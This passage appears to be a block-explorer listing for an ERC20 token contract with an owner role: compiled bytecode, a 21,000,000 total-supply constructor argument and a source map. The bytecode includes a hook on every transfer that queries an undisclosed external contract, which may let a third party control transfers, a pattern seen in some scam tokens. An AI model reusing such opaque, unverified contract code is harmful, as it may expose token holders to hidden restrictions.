71461015557806370a0823114610173575b600080fd5b6100c1610265565b6040516100ce9190611218565b60405180910390f35b6100f160048036038101906100ec9190610eca565b6102f7565b6040516100fe91906111fd565b60405180910390f35b61010f61030e565b60405161011c91906112fa565b60405180910390f35b61013f600480360381019061013a9190610e7b565b610318565b60405161014c91906111fd565b60405180910390f35b61015d6103e3565b60405161016a9190611315565b60405180910390f35b61018d60048036038101906101889190610e16565b6103fa565b60405161019a91906112fa565b60405180910390f35b6101ab610443565b005b6101b56104c4565b6040516101c291906111e2565b60405180910390f35b6101d36104ee565b6040516101e09190611218565b60405180910390f35b61020360048036038101906101fe9190610eca565b610580565b60405161021091906111fd565b60405180910390f35b610233600480360381019061022e9190610e3f565b610597565b60405161024091906112fa565b60405180910390f35b610263600480360381019061025e9190610e16565b61061e565b005b6060600680546102749061142a565b80601f01602080910402602001604051908101604052809291908181526020018280546102a09061142a565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b6000610304338484610725565b6001905092915050565b6000600954905090565b60006103258484846108f0565b6103d884336103d38560405180606001604052806028815260200161153760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b899092919063ffffffff16565b610725565b600190509392505050565b6000600860009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104626104c4565b73ffffffffffffffffffffffffffffffffffffffff16146104b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104af9061129a565b60405180910390fd5b6104c26000610bde565b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546104fd9061142a565b80601f01602080910402602001604051908101604052809291908181526020018280546105299061142a565b80156105765780601f1061054b57610100808354040283529160200191610576565b820191906000526020600020905b81548152906001019060200180831161055957829003601f168201915b5050505050905090565b600061058d3384846108f0565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661063d6104c4565b73ffffffffffffffffffffffffffffffffffffffff1614610693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068a9061129a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fa9061125a565b60405180910390fd5b61070c81610bde565b50565b6000818361071d919061134c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078c906112da565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fc9061127a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108e391906112fa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610960576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610957906112ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c79061123a565b60405180910390fd5b6109db838383610ca4565b610a478160405180606001604052806026815260200161151160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b899092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610adc81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461070f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b7c91906112fa565b60405180910390a3505050565b6000838311158290610bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc89190611218565b60405180910390fd5b5082840390509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ea780dcc866040518263ffffffff1660e01b8152600401610d0291906111e2565b60206040518083038186803b158015610d1a57600080fd5b505afa158015610d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d529190610f06565b90508015610d6b5781925060008311610d6a57600080fd5b5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f05f4d5a6d67ddc082e81f4d541df9e2a84530a6907a43340bea758775774b07685604051610dc891906112fa565b60405180910390a35050505050565b600081359050610de6816114cb565b92915050565b600081519050610dfb816114e2565b92915050565b600081359050610e10816114f9565b92915050565b600060208284031215610e2857600080fd5b6000610e3684828501610dd7565b91505092915050565b60008060408385031215610e5257600080fd5b6000610e6085828601610dd7565b9250506020610e7185828601610dd7565b9150509250929050565b600080600060608486031215610e9057600080fd5b6000610e9e86828701610dd7565b9350506020610eaf86828701610dd7565b9250506040610ec086828701610e01565b9150509250925092565b60008060408385031215610edd57600080fd5b6000610eeb85828601610dd7565b9250506020610efc85828601610e01565b9150509250929050565b600060208284031215610f1857600080fd5b6000610f2684828501610dec565b91505092915050565b610f38816113a2565b82525050565b610f47816113b4565b82525050565b6000610f5882611330565b610f62818561133b565b9350610f728185602086016113f7565b610f7b816114ba565b840191505092915050565b6000610f9360238361133b565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ff960268361133b565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061105f60228361133b565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110c560208361133b565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061110560258361133b565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061116b60248361133b565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6111cd816113e0565b82525050565b6111dc816113ea565b82525050565b60006020820190506111f76000830184610f2f565b92915050565b60006020820190506112126000830184610f3e565b92915050565b600060208201905081810360008301526112328184610f4d565b905092915050565b6000602082019050818103600083015261125381610f86565b9050919050565b6000602082019050818103600083015261127381610fec565b9050919050565b6000602082019050818103600083015261129381611052565b9050919050565b600060208201905081810360008301526112b3816110b8565b9050919050565b600060208201905081810360008301526112d3816110f8565b9050919050565b600060208201905081810360008301526112f38161115e565b9050919050565b600060208201905061130f60008301846111c4565b92915050565b600060208201905061132a60008301846111d3565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611357826113e0565b9150611362836113e0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113975761139661145c565b5b828201905092915050565b60006113ad826113c0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156114155780820151818401526020810190506113fa565b83811115611424576000848401525b50505050565b6000600282049050600182168061144257607f821691505b602082108114156114565761145561148b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6114d4816113a2565b81146114df57600080fd5b50565b6114eb816113b4565b81146114f657600080fd5b50565b611502816113e0565b811461150d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202bfe847a3b111cca9f658661b43a6a200da03a6159814ac1d7a703fc9cb0db0b64736f6c634300080000330000000000000000000000000000000000000000000000000000000001406f40

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a6146101a35780638da5cb5b146101ad57806395d89b41146101cb578063a9059cbb146101e9578063dd62ed3e14610219578063f2fde38b14610249576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610265565b6040516100ce9190611218565b60405180910390f35b6100f160048036038101906100ec9190610eca565b6102f7565b6040516100fe91906111fd565b60405180910390f35b61010f61030e565b60405161011c91906112fa565b60405180910390f35b61013f600480360381019061013a9190610e7b565b610318565b60405161014c91906111fd565b60405180910390f35b61015d6103e3565b60405161016a9190611315565b60405180910390f35b61018d60048036038101906101889190610e16565b6103fa565b60405161019a91906112fa565b60405180910390f35b6101ab610443565b005b6101b56104c4565b6040516101c291906111e2565b60405180910390f35b6101d36104ee565b6040516101e09190611218565b60405180910390f35b61020360048036038101906101fe9190610eca565b610580565b60405161021091906111fd565b60405180910390f35b610233600480360381019061022e9190610e3f565b610597565b60405161024091906112fa565b60405180910390f35b610263600480360381019061025e9190610e16565b61061e565b005b6060600680546102749061142a565b80601f01602080910402602001604051908101604052809291908181526020018280546102a09061142a565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b6000610304338484610725565b6001905092915050565b6000600954905090565b60006103258484846108f0565b6103d884336103d38560405180606001604052806028815260200161153760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b899092919063ffffffff16565b610725565b600190509392505050565b6000600860009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104626104c4565b73ffffffffffffffffffffffffffffffffffffffff16146104b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104af9061129a565b60405180910390fd5b6104c26000610bde565b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546104fd9061142a565b80601f01602080910402602001604051908101604052809291908181526020018280546105299061142a565b80156105765780601f1061054b57610100808354040283529160200191610576565b820191906000526020600020905b81548152906001019060200180831161055957829003601f168201915b5050505050905090565b600061058d3384846108f0565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661063d6104c4565b73ffffffffffffffffffffffffffffffffffffffff1614610693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068a9061129a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fa9061125a565b60405180910390fd5b61070c81610bde565b50565b6000818361071d919061134c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078c906112da565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fc9061127a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108e391906112fa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610960576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610957906112ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c79061123a565b60405180910390fd5b6109db838383610ca4565b610a478160405180606001604052806026815260200161151160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b899092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610adc81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461070f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b7c91906112fa565b60405180910390a3505050565b6000838311158290610bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc89190611218565b60405180910390fd5b5082840390509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ea780dcc866040518263ffffffff1660e01b8152600401610d0291906111e2565b60206040518083038186803b158015610d1a57600080fd5b505afa158015610d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d529190610f06565b90508015610d6b5781925060008311610d6a57600080fd5b5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f05f4d5a6d67ddc082e81f4d541df9e2a84530a6907a43340bea758775774b07685604051610dc891906112fa565b60405180910390a35050505050565b600081359050610de6816114cb565b92915050565b600081519050610dfb816114e2565b92915050565b600081359050610e10816114f9565b92915050565b600060208284031215610e2857600080fd5b6000610e3684828501610dd7565b91505092915050565b60008060408385031215610e5257600080fd5b6000610e6085828601610dd7565b9250506020610e7185828601610dd7565b9150509250929050565b600080600060608486031215610e9057600080fd5b6000610e9e86828701610dd7565b9350506020610eaf86828701610dd7565b9250506040610ec086828701610e01565b9150509250925092565b60008060408385031215610edd57600080fd5b6000610eeb85828601610dd7565b9250506020610efc85828601610e01565b9150509250929050565b600060208284031215610f1857600080fd5b6000610f2684828501610dec565b91505092915050565b610f38816113a2565b82525050565b610f47816113b4565b82525050565b6000610f5882611330565b610f62818561133b565b9350610f728185602086016113f7565b610f7b816114ba565b840191505092915050565b6000610f9360238361133b565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ff960268361133b565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061105f60228361133b565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110c560208361133b565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061110560258361133b565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061116b60248361133b565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6111cd816113e0565b82525050565b6111dc816113ea565b82525050565b60006020820190506111f76000830184610f2f565b92915050565b60006020820190506112126000830184610f3e565b92915050565b600060208201905081810360008301526112328184610f4d565b905092915050565b6000602082019050818103600083015261125381610f86565b9050919050565b6000602082019050818103600083015261127381610fec565b9050919050565b6000602082019050818103600083015261129381611052565b9050919050565b600060208201905081810360008301526112b3816110b8565b9050919050565b600060208201905081810360008301526112d3816110f8565b9050919050565b600060208201905081810360008301526112f38161115e565b9050919050565b600060208201905061130f60008301846111c4565b92915050565b600060208201905061132a60008301846111d3565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611357826113e0565b9150611362836113e0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113975761139661145c565b5b828201905092915050565b60006113ad826113c0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156114155780820151818401526020810190506113fa565b83811115611424576000848401525b50505050565b6000600282049050600182168061144257607f821691505b602082108114156114565761145561148b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6114d4816113a2565b81146114df57600080fd5b50565b6114eb816113b4565b81146114f657600080fd5b50565b611502816113e0565b811461150d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202bfe847a3b111cca9f658661b43a6a200da03a6159814ac1d7a703fc9cb0db0b64736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000001406f40

-----Decoded View---------------
Arg [0] : totalSupply_ (uint256): 21000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000001406f40


Deployed Bytecode Sourcemap

15933:4765:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17277:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18664:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17534:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19237:450;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17378:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17705:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1101:94;;;:::i;:::-;;452:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17112:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18075:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18336:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1350:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17277:91;17322:13;17355:5;17348:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17277:91;:::o;18664:192::-;18767:4;18789:37;18798:10;18810:7;18819:6;18789:8;:37::i;:::-;18844:4;18837:11;;18664:192;;;;:::o;17534:108::-;17595:7;17622:12;;17615:19;;17534:108;:::o;19237:450::-;19377:4;19394:36;19404:6;19412:9;19423:6;19394:9;:36::i;:::-;19441:216;19464:6;19485:10;19510:136;19564:6;19510:136;;;;;;;;;;;;;;;;;:11;:19;19522:6;19510:19;;;;;;;;;;;;;;;:31;19530:10;19510:31;;;;;;;;;;;;;;;;:35;;:136;;;;;:::i;:::-;19441:8;:216::i;:::-;19675:4;19668:11;;19237:450;;;;;:::o;17378:91::-;17427:5;17452:9;;;;;;;;;;;17445:16;;17378:91;:::o;17705:157::-;17804:7;17836:9;:18;17846:7;17836:18;;;;;;;;;;;;;;;;17829:25;;17705:157;;;:::o;1101:94::-;683:10;672:21;;:7;:5;:7::i;:::-;:21;;;664:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1166:21:::1;1184:1;1166:9;:21::i;:::-;1101:94::o:0;452:87::-;498:7;525:6;;;;;;;;;;;518:13;;452:87;:::o;17112:95::-;17159:13;17192:7;17185:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17112:95;:::o;18075:198::-;18181:4;18203:40;18213:10;18225:9;18236:6;18203:9;:40::i;:::-;18261:4;18254:11;;18075:198;;;;:::o;18336:181::-;18450:7;18482:11;:18;18494:5;18482:18;;;;;;;;;;;;;;;:27;18501:7;18482:27;;;;;;;;;;;;;;;;18475:34;;18336:181;;;;:::o;1350:192::-;683:10;672:21;;:7;:5;:7::i;:::-;:21;;;664:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1459:1:::1;1439:22;;:8;:22;;;;1431:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1515:19;1525:8;1515:9;:19::i;:::-;1350:192:::0;:::o;13730:98::-;13788:7;13819:1;13815;:5;;;;:::i;:::-;13808:12;;13730:98;;;;:::o;20315:380::-;20468:1;20451:19;;:5;:19;;;;20443:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20549:1;20530:21;;:7;:21;;;;20522:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20633:6;20603:11;:18;20615:5;20603:18;;;;;;;;;;;;;;;:27;20622:7;20603:27;;;;;;;;;;;;;;;:36;;;;20671:7;20655:32;;20664:5;20655:32;;;20680:6;20655:32;;;;;;:::i;:::-;;;;;;;;20315:380;;;:::o;19697:608::-;19855:1;19837:20;;:6;:20;;;;19829:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;19939:1;19918:23;;:9;:23;;;;19910:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;19994:47;20015:6;20023:9;20034:6;19994:20;:47::i;:::-;20072:108;20108:6;20072:108;;;;;;;;;;;;;;;;;:9;:17;20082:6;20072:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;20052:9;:17;20062:6;20052:17;;;;;;;;;;;;;;;:128;;;;20214:32;20239:6;20214:9;:20;20224:9;20214:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;20191:9;:20;20201:9;20191:20;;;;;;;;;;;;;;;:55;;;;20279:9;20262:35;;20271:6;20262:35;;;20290:6;20262:35;;;;;;:::i;:::-;;;;;;;;19697:608;;;:::o;14655:224::-;14775:7;14825:1;14820;:6;;14828:12;14812:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;14863:1;14859;:5;14852:12;;14655:224;;;;;:::o;1550:173::-;1606:16;1625:6;;;;;;;;;;;1606:25;;1651:8;1642:6;;:17;;;;;;;;;;;;;;;;;;1706:8;1675:40;;1696:8;1675:40;;;;;;;;;;;;1550:173;;:::o;18864:363::-;18972:13;19000:12;19034:13;;;;;;;;;;;19015:46;;;19062:6;19015:54;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19000:69;;19083:7;19080:86;;;19115:5;19106:14;;19152:1;19143:6;:10;19135:19;;;;;;19080:86;19201:9;19181:38;;19193:6;19181:38;;;19212:6;19181:38;;;;;;:::i;:::-;;;;;;;;18864:363;;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:137::-;;237:6;231:13;222:22;;253:30;277:5;253:30;:::i;:::-;212:77;;;;:::o;295:139::-;;379:6;366:20;357:29;;395:33;422:5;395:33;:::i;:::-;347:87;;;;:::o;440:262::-;;548:2;536:9;527:7;523:23;519:32;516:2;;;564:1;561;554:12;516:2;607:1;632:53;677:7;668:6;657:9;653:22;632:53;:::i;:::-;622:63;;578:117;506:196;;;;:::o;708:407::-;;;833:2;821:9;812:7;808:23;804:32;801:2;;;849:1;846;839:12;801:2;892:1;917:53;962:7;953:6;942:9;938:22;917:53;:::i;:::-;907:63;;863:117;1019:2;1045:53;1090:7;1081:6;1070:9;1066:22;1045:53;:::i;:::-;1035:63;;990:118;791:324;;;;;:::o;1121:552::-;;;;1263:2;1251:9;1242:7;1238:23;1234:32;1231:2;;;1279:1;1276;1269:12;1231:2;1322:1;1347:53;1392:7;1383:6;1372:9;1368:22;1347:53;:::i;:::-;1337:63;;1293:117;1449:2;1475:53;1520:7;1511:6;1500:9;1496:22;1475:53;:::i;:::-;1465:63;;1420:118;1577:2;1603:53;1648:7;1639:6;1628:9;1624:22;1603:53;:::i;:::-;1593:63;;1548:118;1221:452;;;;;:::o;1679:407::-;;;1804:2;1792:9;1783:7;1779:23;1775:32;1772:2;;;1820:1;1817;1810:12;1772:2;1863:1;1888:53;1933:7;1924:6;1913:9;1909:22;1888:53;:::i;:::-;1878:63;;1834:117;1990:2;2016:53;2061:7;2052:6;2041:9;2037:22;2016:53;:::i;:::-;2006:63;;1961:118;1762:324;;;;;:::o;2092:278::-;;2208:2;2196:9;2187:7;2183:23;2179:32;2176:2;;;2224:1;2221;2214:12;2176:2;2267:1;2292:61;2345:7;2336:6;2325:9;2321:22;2292:61;:::i;:::-;2282:71;;2238:125;2166:204;;;;:::o;2376:118::-;2463:24;2481:5;2463:24;:::i;:::-;2458:3;2451:37;2441:53;;:::o;2500:109::-;2581:21;2596:5;2581:21;:::i;:::-;2576:3;2569:34;2559:50;;:::o;2615:364::-;;2731:39;2764:5;2731:39;:::i;:::-;2786:71;2850:6;2845:3;2786:71;:::i;:::-;2779:78;;2866:52;2911:6;2906:3;2899:4;2892:5;2888:16;2866:52;:::i;:::-;2943:29;2965:6;2943:29;:::i;:::-;2938:3;2934:39;2927:46;;2707:272;;;;;:::o;2985:367::-;;3148:67;3212:2;3207:3;3148:67;:::i;:::-;3141:74;;3245:34;3241:1;3236:3;3232:11;3225:55;3311:5;3306:2;3301:3;3297:12;3290:27;3343:2;3338:3;3334:12;3327:19;;3131:221;;;:::o;3358:370::-;;3521:67;3585:2;3580:3;3521:67;:::i;:::-;3514:74;;3618:34;3614:1;3609:3;3605:11;3598:55;3684:8;3679:2;3674:3;3670:12;3663:30;3719:2;3714:3;3710:12;3703:19;;3504:224;;;:::o;3734:366::-;;3897:67;3961:2;3956:3;3897:67;:::i;:::-;3890:74;;3994:34;3990:1;3985:3;3981:11;3974:55;4060:4;4055:2;4050:3;4046:12;4039:26;4091:2;4086:3;4082:12;4075:19;;3880:220;;;:::o;4106:330::-;;4269:67;4333:2;4328:3;4269:67;:::i;:::-;4262:74;;4366:34;4362:1;4357:3;4353:11;4346:55;4427:2;4422:3;4418:12;4411:19;;4252:184;;;:::o;4442:369::-;;4605:67;4669:2;4664:3;4605:67;:::i;:::-;4598:74;;4702:34;4698:1;4693:3;4689:11;4682:55;4768:7;4763:2;4758:3;4754:12;4747:29;4802:2;4797:3;4793:12;4786:19;;4588:223;;;:::o;4817:368::-;;4980:67;5044:2;5039:3;4980:67;:::i;:::-;4973:74;;5077:34;5073:1;5068:3;5064:11;5057:55;5143:6;5138:2;5133:3;5129:12;5122:28;5176:2;5171:3;5167:12;5160:19;;4963:222;;;:::o;5191:118::-;5278:24;5296:5;5278:24;:::i;:::-;5273:3;5266:37;5256:53;;:::o;5315:112::-;5398:22;5414:5;5398:22;:::i;:::-;5393:3;5386:35;5376:51;;:::o;5433:222::-;;5564:2;5553:9;5549:18;5541:26;;5577:71;5645:1;5634:9;5630:17;5621:6;5577:71;:::i;:::-;5531:124;;;;:::o;5661:210::-;;5786:2;5775:9;5771:18;5763:26;;5799:65;5861:1;5850:9;5846